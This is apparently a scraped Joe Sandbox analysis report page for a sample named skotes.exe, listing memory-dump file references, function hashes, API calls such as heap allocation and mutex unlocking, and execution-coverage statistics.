Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6fda7cd50d46170cdaee5070a283375b10a6b3d98d4394609565a71ac4062b38
Instruction ID: a128c0bdc5e2d67f410042de91a01fc68a9da378789039b6015bacabe79d8fb2
Opcode Fuzzy Hash: 6fda7cd50d46170cdaee5070a283375b10a6b3d98d4394609565a71ac4062b38
Instruction Fuzzy Hash: E8219E313002409BFB189F28ECD97ADF7E2DBD2310F24425AE414D77D1D7BA56808362

Function 00C0D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0A813,00000001,00000364,00000006,000000FF,?,00C0EE3F,?,00000004,00000000,?,?), ref: 00C0D871

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 580037214f909f26204802b77f99db7b13e9b56949af7a758f33981938c07486
Instruction ID: 3af2a01fa10a5e42643cc2dd707ebf348a418987a5bd31cb7118ef3fa45e4aa7
Opcode Fuzzy Hash: 580037214f909f26204802b77f99db7b13e9b56949af7a758f33981938c07486
Instruction Fuzzy Hash: FCF02E3161522566EB212AF39C01B5B3759DF45370F14C321FD1A971C1DA30EE00D5E0

Non-executed Functions

Function 00BD2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00BD2F5F
__Mtx_unlock.LIBCPMT ref: 00BD2FCC
__Cnd_broadcast.LIBCPMT ref: 00BD2FE3
__Mtx_unlock.LIBCPMT ref: 00BD30F5
__Mtx_unlock.LIBCPMT ref: 00BD319B

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5e18ff47379110c3353f6eedc7bf85d00bad8705d24bc153c0f2f49ad584825a
Instruction ID: b0361ddea56a55447289c4fa14b07856d6b442d5074d26971a03cf8454ca6531
Opcode Fuzzy Hash: 5e18ff47379110c3353f6eedc7bf85d00bad8705d24bc153c0f2f49ad584825a
Instruction Fuzzy Hash: A8A1CF70A012469FDB10DB65C944B5AFBE8FF15714F0485AAE815E7342FB31EA05CBD2

Function 00C0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C0CC66

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 498cdc525dfdfb83c2c889e327597b750da7a13a5514c4ff37e8d4622be60cdf
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 3AB136329046559FEB15CF28C8C17EEBBE5EF55340F24426AE865EB2C2D6348E42CB60

Function 00BEBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00BEBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBBE4
_xtime_get.LIBCPMT ref: 00BEBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBC13

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction ID: 74f59ea1929a9731ec60f8544cf756a0ec4062a3451105935b79763ed191b336
Opcode Fuzzy Hash: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction Fuzzy Hash: FA2121759001599FDF00EFA5DC81DBFBBB9EF08710F100455F901A7251DB349D069B90

Analysis Process: skotes.exePID: 6036, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1982
Total number of Limit Nodes:	11

Executed Functions

Function 00C0652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00C0652A,?,?,?,?,?,00C07661), ref: 00C06567

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
